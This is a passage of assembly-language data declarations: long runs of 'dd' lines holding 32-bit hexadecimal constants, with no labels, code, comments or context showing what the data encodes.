dd 31550579h, 0BC23020Fh, 0AFE95709h, 0BF5908C0h, 1BAA6109h
dd 0C9810496h, 0E3BE5600h
dd 24260639h, 4B006B4Eh, 4F053F50h, 6DCF0581h, 0FE623728h
dd 0F84887F5h, 7D1126E9h, 0C0FE5092h, 0EFC1D098h, 0F0F8840Fh
dd 28773389h, 0DEAE2DA2h, 4FB6BE00h, 0B8274AD7h, 7C0C4C3Dh
dd 43714A7Ah, 92CF197h, 0F7448B88h, 51163CB1h, 4E96DFFEh
dd 0E068CA40h, 986B1277h, 0C993262Bh, 63FC41E9h, 0E2D4603Fh
dd 780A8E09h, 8154DC3Ah, 51FF3C2h, 8DA46AFCh, 0EBAE4B16h
dd 5E8D0423h, 40C59BEBh, 179297FFh, 0C3259993h, 7DA7C223h
dd 0D3F771E2h, 0B0E82A8Ah, 0FE560E29h, 5C4180C1h, 6EBBB252h
dd 494FEDA9h, 69A0A974h, 33103CE3h, 490430EAh, 0F829733Dh
dd 0BC545FC1h, 0C9E5AD9Dh, 8B48672Dh, 7280B0Dh, 8A5B8D5Fh
dd 0CDDE43E9h, 61167D8Eh, 4D012B51h, 0CD3FAB4h, 2E3F9240h
dd 0E9611212h, 0EDE2AEF7h, 6FE7681Fh, 928900D9h, 118551Ch
dd 0D9B1D2DCh, 0DADA6B4Fh, 0D1C701B6h, 5958D019h, 3760DE01h
dd 2E2E23DCh, 0C501C440h, 74C64977h, 92FCA70h, 555FD826h
dd 0F7CE1C11h, 52AC4A1Dh, 1A47EBC9h, 0EABE578Eh, 0E64FEA25h
dd 3E04BCD3h, 0B9364816h, 0EBD5D331h, 0E33E1BC3h, 0C5424B71h
dd 0E1E2BE40h, 857CF9A4h, 0B85DA80Ah, 0B4C08592h, 2568F1F7h
dd 4799173Eh, 1585D6DBh, 8B8B93A7h, 0EB8EFFF4h, 3D6768C2h
dd 352E2B91h, 1ECA6B0Fh, 2721236Ah, 0E1985FA4h, 86A83B94h
dd 0AAE72A17h, 0C95BF4CBh, 0B15830CCh, 0E2CDC75Fh, 40CABB13h
dd 41F4D87Bh, 0C9C06E80h, 0BF2814Ah, 0D36F01F6h, 8B0B440Bh
dd 0EC401542h, 8A9AA396h, 595F5B27h, 0E9D8C13Ch, 7E9E357Ch
dd 0EDD602F3h, 706C185Fh, 4D82910h, 4069052Dh, 9FA4AB6Ah
dd 0B361C766h, 8BD80777h, 18BF1CFDh, 73FD4AE9h, 2D18B3F7h
dd 690C654Bh, 0EBE25876h, 48BF5E10h, 0A7C701BAh, 31F44889h
dd 59430A3Eh, 9579384h, 26AB6E9Eh, 0BBFA42CCh, 0B50558BAh
dd 5D15C34Ch, 4FF8A3CCh, 68648C72h, 965BA240h, 71FD5290h
dd 2C21277Ch, 93F5EEE9h, 3CE10176h, 5DAC4F2Fh, 57E9F722h
dd 0DF620957h, 0A98F01Eh, 0A6432748h, 0D76855D0h, 4882E27Bh
dd 183A2F24h, 40886D7Bh, 6658C5D0h, 0AD201286h, 20E789EBh
dd 0B316F293h, 220380EAh, 381FB450h, 0E33D520Ch, 58B0C3BAh
dd 0E0E9C812h, 0DCE30148h, 0DD2AFA3Fh, 0CC9D8B2Bh, 0EA545BBAh
dd 17848467h, 4BE08FBFh, 0F38E44FBh, 5BE4597Ah, 9FC0D728h
dd 2117A05Dh, 2583CD5Ch, 0A2084833h, 0CBDBCFAAh, 4E5F1AABh
dd 0FE8B207Bh, 0EC5A6662h, 577463Ah, 0EFC035B7h, 97810004h
dd 8FBC480h, 48A8E75Bh, 0D8DD7422h, 0D8F68AC2h, 7184DD86h
dd 84F3F2AFh, 8CBAA869h, 326AB05h, 4D126FCAh, 0CA4A3EA8h
dd 76607E2Fh, 416856FBh, 0B029B79h, 0D2B99C5Ch, 0A5106F4Dh
dd 0D9FBA5B7h, 765FF5EDh, 619A1575h, 0B551027Ch, 5E13E9AEh
dd 0D2BE01E5h, 28681125h, 9B465090h, 20B25B13h, 0BA6C16AFh
dd 7C60BDC9h, 307602B1h, 8822E93Bh, 8F2D3BDAh, 45EA2005h
dd 47FDD18h, 0AF751735h, 0D8C7FE16h, 97F75009h, 0BDF69655h
dd 0F71668FCh, 5712AA72h, 0B0629FDCh, 827662E8h, 57C83070h
dd 9434DB4Ch, 87FE95CDh, 0C929BB17h, 9D6D82DDh, 8C91D41Ch
dd 880CB169h, 92CAF44Eh, 62E3281Ah, 189D11DEh, 6DF05EE5h
dd 1CF784Ch, 5646D6F7h, 0E87B5E51h, 0ADE9E1A0h, 0C32E4ECBh
dd 0A5CF018Dh, 492D587h, 6E8A367h, 90D3FA31h, 0C5604A69h
dd 0DFC70FADh, 0D4BCBE05h, 646B9C90h, 0EE40944Fh, 6B394754h
dd 0D664C589h, 5210AC8h, 0AAD917A7h, 0D760D499h, 0FB0180CEh
dd 0D9937FDEh, 0E23F07E1h, 0DF290A91h, 6D42B55Bh, 0B70109A9h
dd 0F36F7FB8h, 0E0DEBF90h, 1C0F412h, 82B447EBh, 0C74465Ch
dd 0C66F1102h, 81F78710h, 3244E99Dh, 37506B23h, 6D490072h
dd 19C3B80Ah, 80B71C58h, 24DE259Dh, 77EC476h, 3C20ABB0h
dd 3C71202Dh, 0C128B2A9h, 22F5E61h, 55D5ADCh, 0E1DD6BF7h
dd 0DB828D17h, 37FE14BEh, 79BF58E0h, 429E599Fh, 10D4B961h
dd 0E67ADD80h, 65D1F75Dh, 0C0410649h, 2BB039F2h, 2C20B658h
dd 5D89AE9Ch, 0F1D63326h, 407B9A29h, 4CAB57BBh, 92A3311Dh
dd 0CA0C54Ch, 389084E9h, 2A4F2768h, 6B8948D9h, 59EC3072h
dd 441E3A32h, 1CC8365Ah, 96838FBh, 0D541BAE9h, 8E58FF33h
dd 0BFB21082h, 1A314A2Eh, 5550C1Fh, 0E5F86444h, 5A9E093Bh
dd 0AD1E4E4Eh, 0E35F131Ch, 0E601C946h, 0CA28622Ah, 1A5D196Ah
dd 9AF44152h, 9EDFBD3Ah, 0FEA41BC9h, 0B344CF0Dh, 20F3FB7Fh
dd 1121C42Fh, 0CC08CF80h, 67B092C7h, 59F27370h, 862B40BFh
dd 0D3F630DDh, 0DAA6808h, 414153CDh, 3FEF6120h, 0C2E0FD48h
dd 795D3F6Fh, 0AABE4D50h, 4FB2FC95h, 0ED57C82Fh, 8B552D44h
dd 0F9AF6B42h, 8C502810h, 3DE2E405h, 63AD93ECh, 0CA05585Ah
dd 138F1234h, 9881C9C4h, 0F13BF332h, 0BF69546Fh, 0E912B2E3h
dd 5B3FB828h, 500106F6h, 0C68896B0h, 4F166E58h, 739B0804h
dd 0F2DE5D0Bh, 9352A59h, 0F87F1421h, 8E3AA9F7h, 0B5624A5Eh
dd 0BA0B5F08h, 2FCAEEDFh, 12908B9Ah, 4B5C4A68h, 2153CF4Ch
dd 4EC04F8Fh, 0AB8B3Ah, 0E15F08CBh, 95CEE90Bh, 0F6C3F972h
dd 0ACC5684Bh, 71B17C8Ch, 26FB9928h, 0B7A415AFh, 0FA3DC703h
dd 73D990C9h, 4B9E6227h, 8809B095h, 0BD6AA0BEh, 4F2A3BCDh
dd 80198532h, 0B9A97DC7h, 0C92695Eh, 559E4A84h, 24D2A9F6h
dd 0ACAEABB6h, 7E83518Ch, 88B1CBFCh, 400E05B7h, 7C7969E2h
dd 275302F3h, 0D85EFD85h, 27CCF627h, 8F406A0Eh, 5878F430h
dd 423379BDh, 2CF0EEE9h, 0C5255D76h, 885C1847h, 815C81BFh
dd 3E0C7E3Ah, 5ADE4229h, 963B27F9h, 2F3886E5h, 4521F1AFh
dd 0F912BF2Ch, 0EFA334F9h, 16438EE4h, 64EEAB79h, 359DE023h
dd 1B1C5C2Eh, 7D4B7A2Ch, 6B589641h, 40F1A1ACh, 0C18000A6h
dd 73FFB27Ch, 9D82BD59h, 68014C69h, 0D1927EC4h, 0BC25BF37h
dd 0F8FC52EAh, 8B2C84C2h, 0EB980212h, 58DE4303h, 8E3A178Bh
dd 0C7F3C0CAh, 4E8852FBh, 0CD4AE009h, 59343E0Bh, 0B150044h
dd 0B5CBCEECh, 18E93081h, 0B6C82B6Eh, 0B7E17C7h, 17381CDAh
dd 0B380C8FDh, 2ECA3058h, 0B132F3Fh, 7714C8E8h, 0B28FEA8Ch
dd 68FCDCF2h, 0DD22C131h, 0CA06AFF5h, 0D4F29C4Fh, 52517706h
dd 960CC83Fh, 0C12763Ch, 5F25FE9Dh, 0BF5FFE75h, 7B6C1482h
dd 68BF8101h, 433C6022h, 7E6AB498h, 605ACD9Ch, 274D0762h
dd 0C7C2A06h, 14492D0Ch, 0E6350758h, 5078D97Eh, 26B15542h
dd 39E3D49Fh, 0EB01C987h, 0E4EA6030h, 3A5E3670h, 589C18A4h
dd 6809F626h, 3667E1Bh, 712F6AFEh, 0ACCFC003h, 9D962445h
dd 0AAD6257Ch, 0A72F5C49h, 7B119BC9h, 0F6BE2F12h, 0EAE897B9h
dd 62B6E9A1h, 5584445Ch, 0A15185A0h, 0F1820283h, 0B79D078h
dd 0EDAAC05Dh, 75EDB2FCh, 0A0E2E488h, 0BC60DDCAh, 0B7C58888h
dd 747D923Dh, 6FEEDE4h, 168AB1Eh, 880D8D9h, 8BE3188h, 2051DA69h
dd 629D097Ch, 45AA5E32h, 28D3E09Dh, 30271F98h, 1E19D5F0h
dd 535FD269h, 685802F1h, 67792666h, 6D136B2Eh, 0DE50F249h
dd 64D5780Fh, 2113C89Bh, 3097D502h, 0C2E27EC1h, 0EF095DE0h
dd 82B98921h, 0FDF09E64h, 85F8389Ah, 0D5CEFE17h, 8F16D0BCh
dd 40C58890h, 0D57DCB2Fh, 30087F88h, 1550030Ch, 0E5A1335h
dd 4B3001B9h, 0B5C3420Eh, 0B7E9D717h, 0B87F69A1h, 2FE95B0Bh
dd 6D342660h, 0E9101175h, 247DFDDFh, 265508E2h, 80D612BEh
dd 0E3885BDDh
dd 2F30F095h, 14FD3069h, 54A0B02Ch, 2EAFA96h, 2C9D715Eh
dd 7A42CA01h, 691C080Dh, 7FFE4510h, 0EC5E362Eh, 2CA2D0Bh
dd 0D0EF6812h, 9D39F451h, 0E1352200h, 36039F6Dh, 165240Dh
dd 0B515F916h, 8B70EC2Fh, 0EA945AEFh, 0B4082CACh, 0F9B509C7h
dd 51CDB9A2h, 621E4077h, 83D54120h, 0E5C02716h, 5C0C3C02h
dd 0FFF2F592h, 0E63C7044h, 7A5F5E09h, 46222DB2h, 49943A1Bh
dd 200B4C55h, 0FBBF21F5h, 249348D8h, 4B3B0B3Eh, 530B9764h
dd 660EC7E9h, 8BA02DA0h, 0EC53965Fh, 771B01F6h, 0EE87356Ah
dd 7006A445h, 293FA52Dh, 5FBBBCD0h, 630047Ah, 0BF49A6E9h
dd 0D802CC49h, 0C92D9163h, 0EBD2A104h, 0E9826CE6h, 0A1760C67h
dd 0BDBD5570h, 574C46DAh, 2F431843h, 0B0DE8979h, 113F6589h
dd 1DB99128h, 0E4C92F32h, 95D950E0h, 20B01CF5h, 31257237h
dd 20114ED7h, 5D5EAEE4h, 512E8DB6h, 8C6100E6h, 0DE05E96Fh
dd 0E4EBB2B4h, 0B71E25E7h, 163C3671h, 5325A7A1h, 0C5BE94FFh
dd 0CD92FFA2h, 2682C029h, 1919983h, 0C68AAB68h, 0FACB3A01h
dd 10F70176h, 8920B85Bh, 0F85544FDh, 0E92B5A7Ah, 51AE95Ah
dd 68D912A5h, 740BFA8h, 0B93EFD8Bh, 8F8C86A2h, 79ED3D53h
dd 292E4706h, 880C8FDh, 994D0E9h, 984FB25h, 18ABDAB4h
dd 60AC5756h, 620C5B0Eh, 70B8AE9h, 833A6780h, 4414E165h
dd 499FE01h, 70E640FBh, 339750C0h, 291D094Bh, 7DF65BDEh
dd 1E0A546Bh, 5F4CB223h, 7704C2F5h, 0E57D5DE2h, 0EA666F0Bh
dd 0EE4EE316h, 0C44B79A9h, 85C4BF4Fh, 5B7600E4h, 0AE53CC79h
dd 0F09DDB9Ah, 0BFB2C1B1h, 74203844h, 2101CBABh, 5643FC3Ch
dd 9FF3BABEh, 8195380Ch, 3D9D2959h, 17899056h, 0F9726817h
dd 759010ADh, 8941AB5Bh, 95A4E54h, 8F10253Ch, 4FB41733h
dd 0DB49EF0Bh, 0E350A679h, 0EB067850h, 22204CEAh, 0D96E6116h
dd 685E0A68h, 53AED4C9h, 6DB9C0D5h, 0B4566C4Bh, 825889C3h
dd 3BD01CEBh, 0F9F64007h, 0C2D71B5h, 0EBCF9AE4h, 0D3F7050Ah
dd 8702EE43h, 508A12EDh, 2C619B4Ah, 0B80519DDh, 0F2EA0443h
dd 1CE23D71h, 6885070Ah, 5C473499h, 3D702B8h, 75AF29F4h
dd 51184A7h, 0F250389Dh, 2784124Eh, 29680242h, 1C269120h
dd 0F8018D82h, 74430FFh, 4175362Ch, 17382782h, 0B29EC16Ch
dd 949F236Ah, 4B99748h, 48237235h, 0F9082C80h, 5F248A5h
dd 1248620h, 0EA075DFAh, 0A43F8706h, 0F4FE9C62h, 481FBAF6h
dd 270A1D75h, 5BC92Ah, 4D6857E2h, 5F697D19h, 86635695h
dd 0C7E8273h, 0C40B880Bh, 10217798h, 0CD3077CEh, 6E5D6121h
dd 0AA4BA8ADh, 5D80D48Ah, 47E5E681h, 0D848362Fh, 4DDCC223h
dd 8B756A6Dh, 6044D9E2h, 0D451A0EAh, 1EA3B5Eh, 61326D7Fh
dd 7C6E3035h, 86E4702h, 0DC8809E9h, 0AB4965D7h, 0A76059CDh
dd 0B5969F02h, 0C130D4Bh, 54572FAh, 0E924D4FAh, 93BADC20h
dd 52906F2Fh, 17E3469Ah, 0BEF83123h, 0AA4B138Ah, 320914D1h
dd 516EFDC2h, 5F5ADEF8h, 0A488FB6h, 1452F900h, 78E38167h
dd 2C4D0709h, 1AC4D543h, 309E3B24h, 0E843822Fh, 0B0DF0B9Fh
dd 0C0DAF928h, 827BD16h, 0BA077099h, 1C6210D8h, 3C9501F5h
dd 0FB68B280h, 54CCBF29h, 42D083Dh, 6A7BE91Ah, 0B7EEBAD0h
dd 35CBF32Ch, 81439A76h, 0A5E31D26h, 3622F76Ch, 0BB006E9Bh
dd 5FE573A4h, 3C2FB44Ch, 5F3A89BFh, 0C96FA8D9h, 0BFB84C6Dh
dd 56952270h, 76955680h, 198569B3h, 2067BDE4h, 1D860BCBh
dd 0ED042FD9h, 1088EB7Ch, 273B24F1h, 5AD60BE6h, 0E9BD317Dh
dd 0B862FFE5h, 5F35BD4Bh, 804FD6B8h, 0C3305BF4h, 39FAAB8h
dd 0F9EE2CC9h, 0B1BE1E87h, 0DC77B094h, 4099F95Eh, 31275F08h
dd 8612DDCBh, 67418740h, 3A402233h, 0A80D4A3Dh, 0A594588Eh
dd 74174401h, 0E27B4B0Fh, 0E9094040h, 50D1FE4Fh, 0A72B3C77h
dd 0E7B10E6h, 0B6DE93Ah, 0F1ED3E85h, 7C52E9B1h, 6E680BCAh
dd 429CDB5Eh, 0F87E0CB3h, 0BDCD6878h, 0CAE9A698h, 0F710ADF5h
dd 0E918919Ch, 35786D70h, 1D8F0059h, 2EC38195h, 764BB56Eh
dd 8EB530Ah, 38FAE90Eh, 2649B930h, 95C7127h, 0E7F99677h
dd 0FF02680Bh, 0C775046Ah, 985A13C4h, 0F34EE9ECh, 4F42B6FCh
dd 0CC23AE5Ah, 0AFA95F1Ch, 0CA73641h, 0D7E62F74h, 550493CCh
dd 9969F6BDh, 3EF7CC5h, 7E3E9B83h, 846C01D1h, 0AFA1E910h
dd 0BE1DB8E3h, 57178F4Eh, 1C314DC6h, 92425A3Bh, 0A68AF553h
dd 1509F73Fh, 30805BD4h, 1B9A5556h, 2991E97Bh, 0DD05EB16h
dd 50FE3645h, 0A260082Eh, 17037940h, 6EDC117h, 389CE401h
dd 0A53E7668h, 21ADFFF5h, 13064FBh, 98D69168h, 0F69BAAEh
dd 506C2A7Eh, 8F5283C0h, 5127E971h, 0F943BAB3h, 0E19C6410h
dd 66FC6BABh, 81B412F1h, 7A05C317h, 5CEDB5E6h, 0F749578h
dd 0CB576DBAh, 0DF131A9h, 52AC93C4h, 0B286E84Ah, 1D59658Fh
dd 578ED6E9h, 0E75DEA78h, 43D55465h, 91765FE6h, 400F1648h
dd 0E82DC99Fh, 13BF7C1Ch, 0FADE52FBh, 5E7B41B2h, 1A75EB39h
dd 0D74EF884h, 7995C652h, 52534F0Ch, 0CAB41511h, 0F333E217h
dd 189F09F2h, 0CFBE82CEh, 61A1900Ah, 22B02638h, 88D02565h
dd 6240E927h, 0E030D1CAh, 11266851h, 0CB651C9Ch, 0F84B1BFCh
dd 0A83EB941h, 0E87CB182h, 39DE0101h, 302C10B7h, 0C0A62063h
dd 2324DD77h, 3608C20Dh, 0B8073BE1h, 0C0721B56h, 9D2AD52Dh
dd 0D8F77700h, 0D4F08505h, 96A6CB95h, 9D56A75Ch, 556975FCh
dd 0FC2D21F3h, 67DBF26Fh, 903A5F0Bh, 2C1DCFE6h, 25D1806h
dd 0D3722587h, 659E8F80h, 29245FCBh, 82012F1h, 52777497h
dd 6CFE3861h, 63B50168h, 0C059EE20h, 0BF1DE06Ah, 42C97E4Bh
dd 1303CE7Fh, 93EA6AD1h, 0F02CAC4h, 0AA4335BEh, 1DFB601Ah
dd 6B087D14h, 12F6AC4Eh, 2561E6Ch, 0E984B257h, 31029841h
dd 37B4C9C8h, 1C5A7A74h, 6EB25250h, 0A2AC0B0Dh, 86B9AF93h
dd 0C19528ABh, 75A55EEh, 0E972812Eh, 7FB96E21h, 0D45B900h
dd 0F18128D7h, 0E90D4162h, 8389F7C2h, 0C2D6595Fh, 4D751E4Dh
dd 0F1D62D4Dh, 0EE13CAC4h, 0A5BB2772h, 9CBFDA11h, 4BBF17B2h
dd 88C6B1C2h, 8B53FC3Eh, 626FD8B6h, 313FFC55h, 59E9EF76h
dd 221A82Ah, 66250CD6h, 6662F701h, 805E0804h, 413ED46Ch
dd 0B8363D6Fh, 0E345E90Dh, 8527743Eh, 30A3AEA9h, 0D2ACB34Bh
dd 1B516FCh, 380DE63Eh, 0B40CA81Dh, 127690Bh, 0D60000C1h
dd 1611E156h, 0EE4DD5F7h, 0B54C6302h, 611257C6h, 5A5D200Ah
dd 0D7DF62FDh, 0AF3DCE65h, 9835F4Fh, 0C9C502E7h, 0B5252243h
dd 2E98C84h, 3AB7C901h, 0F2C10239h, 834398C0h, 534083B1h
dd 6F94BA52h, 0E2A0F801h, 365C30BBh, 1602F2ECh, 0F7625020h
dd 2EE0DDDAh, 0AD5422E9h, 37368B4h, 0FE83BE1h, 9F4881E4h
dd 0FD0101D9h, 0A2B18293h, 0C44D1407h, 4FF4F83h, 9D2C87D2h
dd 0F04C473Ah, 5603A845h, 542FE917h, 838935F8h, 0C0B7F950h
dd 97668CCEh, 783CBB1h, 0BF2DE785h, 0E07AEC2Eh, 9D6D84E9h
dd 0A68BA6D9h, 9F286486h, 95BE3B5Eh, 3A8CF0Fh, 0C0225AEFh
dd 0A20C092Ah, 3480F011h, 10278F7h, 0C6B2048h, 0C886F9B8h
dd 0AE855AE5h, 9504C024h, 0EDFC6443h, 2D5F8F96h, 75C22230h
dd 635A0768h, 3C2B15DFh, 5C8A1C5Fh, 5B111A29h, 0D24CAC5Fh
dd 0C55A2FCAh, 0A484E8BEh, 75DB8F82h, 54926FF1h, 0C78072AFh
dd 97E3E910h, 0ECDD690Bh, 34F99575h, 0F16F331Eh, 9855CBC8h
dd 4F496849h, 0AAA0CC27h
dd 78E47353h, 6B3FF4A3h, 0D67F98E0h, 72AEBB0Eh, 0D00A5A2Dh
dd 2F61A305h, 0DE31D212h, 0D51677BCh, 3225211Fh, 0F454039Bh
dd 59C42FC0h, 57435805h, 0AE0DC034h, 0A07ABA9h, 0F0356551h
dd 0A72A91CFh, 0EFC14B12h, 8476DA04h, 838899B8h, 0A0BCAFAEh
dd 0ABE9127Ch, 0F069451Bh, 0C8C1EA5Eh, 8663F44h, 0B280D03Eh
dd 765BBB32h, 295887C9h, 6E4A7C1Ch, 3618C5CAh, 0E4F61761h
dd 6DAA5A16h, 2D4D551Fh, 4D401A93h, 1D773FC5h, 0A8012BDCh
dd 0E90880BFh, 0A8704BF8h, 0F9139EDCh, 0BD4A56EDh, 39C14B04h
dd 0C96EBEE5h, 1DA23E4Fh, 2AFEECF2h, 285B5802h, 87565DE8h
dd 0C0FF807Ah, 5B663F2Eh, 6FB2C149h, 0C3436BCFh, 0D1B407EAh
dd 0F7538414h, 7AC8B15Ah, 2D5BA08Bh, 0CC0C62F1h, 0E5524B1h
dd 5944BD66h, 8EDC182h, 0A90640F7h, 3009FA41h, 0C2125DEAh
dd 24DB116Ch, 1131F66h, 0E67CA767h, 70905764h, 281932BAh
dd 9931CA6h, 230F022Ah, 7A961200h, 58B75D1Dh, 75DA9D67h
dd 0F7F10B82h, 8074A9A5h, 0EE6E7B2Dh, 0D3E92447h, 0B579206h
dd 0ED79F9F3h, 4B0D428Bh, 0B2AEC907h, 76189141h, 7E69CB04h
dd 250E5149h, 75B79A5Fh, 191A7E02h, 0C7D97709h, 4CF4431Dh
dd 0ECA45A87h, 63685801h, 0B7337E49h, 0F9209D82h, 7B585BABh
dd 799D2F4Fh, 0F60BF845h, 625D59D2h, 745FF483h, 0EA50E402h
dd 91583232h, 75EE685Ch, 6F64F0B1h, 1EE9D7C0h, 0C4ECFCBh
dd 26B652A6h, 105FF07Ch, 0B2FA3C12h, 3014D4FAh, 8BBE1439h
dd 76E42E0Eh, 66D703F9h, 0E0055F4Dh, 0EC6188B3h, 0BF2D17BAh
dd 40AEC517h, 0E03FCEEEh, 635AE935h, 14EDEADh, 371EA3B1h
dd 1BD1F426h, 0E868582h, 0D3B8E940h, 9019CD5Fh, 0CD7D5BD3h
dd 0BB2340C5h, 224B4D44h, 0A4EA99EBh, 13E5410h, 46259B5Ch
dd 0D2F3EEC1h, 0E4686057h, 0B8E7974Fh, 278423AAh, 48A46815h
dd 933A84CAh, 0A8093109h, 210937F4h, 0A3E5DDE8h, 0B0EC11Fh
dd 6C688231h, 47EDD12Bh, 3923D256h, 0B3929459h, 0F346BFE8h
dd 1DC5BE02h, 5C624214h, 9AF15E48h, 4AD26880h, 6865687Bh
dd 2F211520h, 13DD92E9h, 6469C288h, 40473CCAh, 0A464D417h
dd 0E40CEE1Ah, 0C078725h, 1A1104ECh, 83C6010Bh, 5D13831Ah
dd 0DD8C3CC5h, 7D2E0398h, 0A754E948h, 0DE684C02h, 0D5671DF9h
dd 5192C3C0h, 6A77E225h, 0E5080FDBh, 8A9DD389h, 0D21AB82Ah
dd 3BC59DABh, 0ABB540BCh, 283C8CA5h, 857FA25Eh, 84539AE6h
dd 0E4AB5D12h, 5DFC096Bh, 2BEB6879h, 116EAD30h, 981D4AF5h
dd 1040AF60h, 47B32853h, 20D4D86h, 67E7EB86h, 795AD125h
dd 8A5B128Fh, 74D40C3h, 9D3A7741h, 40917AEAh, 1058BF8Ch
dd 20D5925Ch, 5512162Fh, 8EAF5D54h, 6D5C3226h, 26677F57h
dd 802802Eh, 853CD940h, 16D05ACAh, 1D7331E3h, 98C12F42h
dd 54652803h, 9055310h, 1F012248h, 0E9E2AC22h, 2B066577h
dd 0B62EE5A5h, 6EC941A8h, 0E98548B6h, 5872F02Ch, 20BE25D4h
dd 0BF0F1AACh, 0BE7E17C8h, 88EED9C5h, 3C12B922h, 73074D90h
dd 0EF1BFF63h, 2726A13Dh, 45B5BAF0h, 18768C10h, 140CED65h
dd 0C48E54Eh, 0C44201FDh, 62E95B41h, 59249795h, 56395E0Bh
dd 6DDD6251h, 0D128416Dh, 0DFD99352h, 0FC736F0Bh, 0FDD6E901h
dd 785C8952h, 0AA5065AEh, 4C0FA765h, 47C505A6h, 0F3835EB1h
dd 576381B7h, 0B892D8DBh, 0E1F64D2Dh, 0AF78644Bh, 0C2E94860h
dd 1779D27Ch, 12566981h, 0B6D6FE9Ah, 0D4C28006h, 8B132A9Ch
dd 5A3801C3h, 0E801674Bh, 912C9057h, 0EB876812h, 0D93ABEF5h
dd 1C94425Bh, 0B787945Dh, 6742025Bh, 0F6810062h, 152C0206h
dd 0A7025E63h, 63AC7BB4h, 0B001A84Dh, 82F2E62Fh, 0B2600809h
dd 50D7110h, 0B143537h, 0AC5F33Fh, 0E554295Ch, 7BE16805h
dd 823531EBh, 0E0590223h, 3E2E79E0h, 0BF166AAAh, 0C1E4FC95h
dd 17150733h, 6064AA2Fh, 5CE90C02h, 2619911Dh, 492573FCh
dd 0D403245Dh, 153427Ah, 4100E51h, 8BF4AF09h, 2B852668h
dd 0C382C9DAh, 2B81108Ch, 889A2569h, 0C00C0A2Ah, 60A97111h
dd 0F885E925h, 53462C20h, 0FEF913E1h, 5214D8Dh, 7653BC2Eh
dd 0F788EB5Fh, 0DCFDAAE5h, 2C80C23h, 6418C631h, 28509B0Dh
dd 8538BCF0h, 817E1393h, 2D4264Fh, 51668901h, 0BEEE6404h
dd 0BE2A09F1h, 3D5AE82Ch, 794F4729h, 68EB087Fh, 346D5A27h
dd 0CBF8BDE9h, 4084E91Bh, 2F07F781h, 575F6112h, 0C9C8AA22h
dd 6807C545h, 0F70B2778h, 699FE91Eh, 3928A019h, 48E87F70h
dd 2527ECA1h, 0A791AA0h, 0F0B70E42h, 62022F98h, 5A494251h
dd 4572342Ch, 13FCD39h, 7FE31CC9h, 4E22A088h, 8725BEE8h
dd 0AFD3F2A3h, 0E040D38Eh, 0D09F5ACDh, 5D17D948h, 567C167Bh
dd 3CB05AC4h, 2479A0BEh, 0E634460Eh, 32E96404h, 0E14CDCBCh
dd 69AC499Eh, 9EF797Dh, 0D7596083h, 6BD76805h, 0CC2A31FBh
dd 0F0D76C43h, 0BDE048E9h, 0EBDC6924h, 80479A1Dh, 0FC0768C4h
dd 8F5FEC57h, 2CF4445Bh, 88880774h, 0AFD724E2h, 65942E88h
dd 6F0216Eh, 147DB634h, 12EE74B7h, 0D57E87E5h, 0BE5DA00Fh
dd 5767B709h, 4050426Eh, 2F767F4Ch, 557606E5h, 19A19596h
dd 5DEAC6Bh, 6E7DED87h, 0C93590ABh, 833B7553h, 5E1034Eh
dd 0D001E57Fh, 2E1A4568h, 0EE4745Fh, 1842FFEBh, 10DF0958h
dd 9D506A60h, 2A0311F0h, 297D254Ah, 82EFF2CFh, 78DCE908h
dd 6B0539C0h, 0AFB82312h, 330B0A13h, 493F79EFh, 0A6D6797Dh
dd 905214CFh, 0EBB2404Fh, 145E0A65h, 0E9C59897h, 38D09636h
dd 53E7C22Dh, 1DBEB0Eh, 1411E9D3h, 0A605446Ah, 57540BD5h
dd 1F4B46C6h, 8FEECC16h, 0F83117F9h, 85FC8AFAh, 0E7E825E9h
dd 5C1FBF0Bh, 0FA89F002h, 9883F490h, 0DB7FC2E1h, 99E5C2DEh
dd 7255700Bh, 9E586F50h, 54CC8E5Fh, 0DBF2EF12h, 1B50B0C9h
dd 0DEB55B76h, 97D52D90h, 1C6B2DD0h, 655F7C8Ah, 0BA1633C0h
dd 37C55106h, 2666902Fh, 0A5937594h, 0C70043F4h, 558B270h
dd 0E2601D48h, 7DC6437Ch, 2FD02164h, 94906B1h, 0CA010249h
dd 749C8FE9h, 64BB80D7h, 0F18142E4h, 890DBF65h, 459905F0h
dd 9A47F4Ch, 0FE5F4A54h, 5C069FDBh, 64FE980h, 0C1287614h
dd 2F40C56Ah, 4252DDAFh, 8CFD0E9Fh, 0E2D9846h, 25B683Eh
dd 4A4231B2h, 0E5322FEh, 9500D7Eh, 32DB7729h, 63F17627h
dd 3303DB0Fh, 9D3BC5C2h, 7C0C0249h, 2928D64Bh, 41EA23E1h
dd 240EE908h, 520BB85Eh, 0A743D37Ah, 0A1077C7h, 0BAD769E9h
dd 243D717Dh, 0CB61B96h, 0EF69DDB9h, 0E7DCC209h, 508D679h
dd 983A7768h, 7095DD4Eh, 0B85B4E4Dh, 0A0D01321h, 4B7BDCB7h
dd 0FA6F1257h, 983CD91Eh, 0F565EB8Bh, 9E7013A6h, 8AAABD03h
dd 0F9AF909Fh, 0DB4ACB9Ah, 0D099333h, 462349E9h, 18F195B3h
dd 0CB525549h, 5DEB2909h, 0D3E65587h, 884DB50Bh, 62DE5EEAh
dd 47554B6Dh, 0DABE2FEBh, 3ADC72A1h, 4E786DA2h, 22DE9E3h
dd 3897BE56h, 54C88487h, 0CB9C12FEh, 61EB4FEEh, 4D471970h
dd 0E6C220C5h, 0C0F4793Ah, 2A0504F3h, 855002ACh, 0B6F2C4BDh
dd 246948D4h, 0F240F220h, 4F7B0F37h, 4B52EE7Dh, 0C53982EFh
dd 0FA98EC50h, 0F4E2709Dh, 0F39B5E47h, 3BD5FE4h, 71E95DA0h
dd 88A805B7h, 48584FEh, 4D75A9h, 0B252C5FEh, 18FB0C1h
dd 45F78079h, 0DB03EFC0h, 182F069Bh, 397A7620h, 0DFF6630Dh
dd 0CE1E8504h, 16FC50E9h, 0CB5B902h, 2EC31214h, 0A5E841E2h
dd 38026ABFh, 4B6863E8h
dd 61425C09h, 0F22D52FDh, 0F5CAE8F7h, 0BE221870h, 0E1550C72h
dd 12B0364Ch, 0A4AB5DEFh, 71E1E2Ch, 5AE6D156h, 396BAF02h
dd 26FC577Dh, 0E5800D0Fh, 0AE4FE0h, 0CF42D3Dh, 0DCB87A0Ah
dd 2E32975Ah, 0DB9DAB54h, 86DA2FC9h, 0BCE95A09h, 9FE8FD90h
dd 50010B9Ch, 0D1EE815Eh, 0E9EC7936h, 85C3F196h, 1B100E2h
dd 0A5F320FEh, 0D6272592h, 0B87E67Ah, 40F97419h, 58209078h
dd 0ED81017Ch, 116D0B27h, 885CF051h, 502D2A92h, 0D5B3E156h
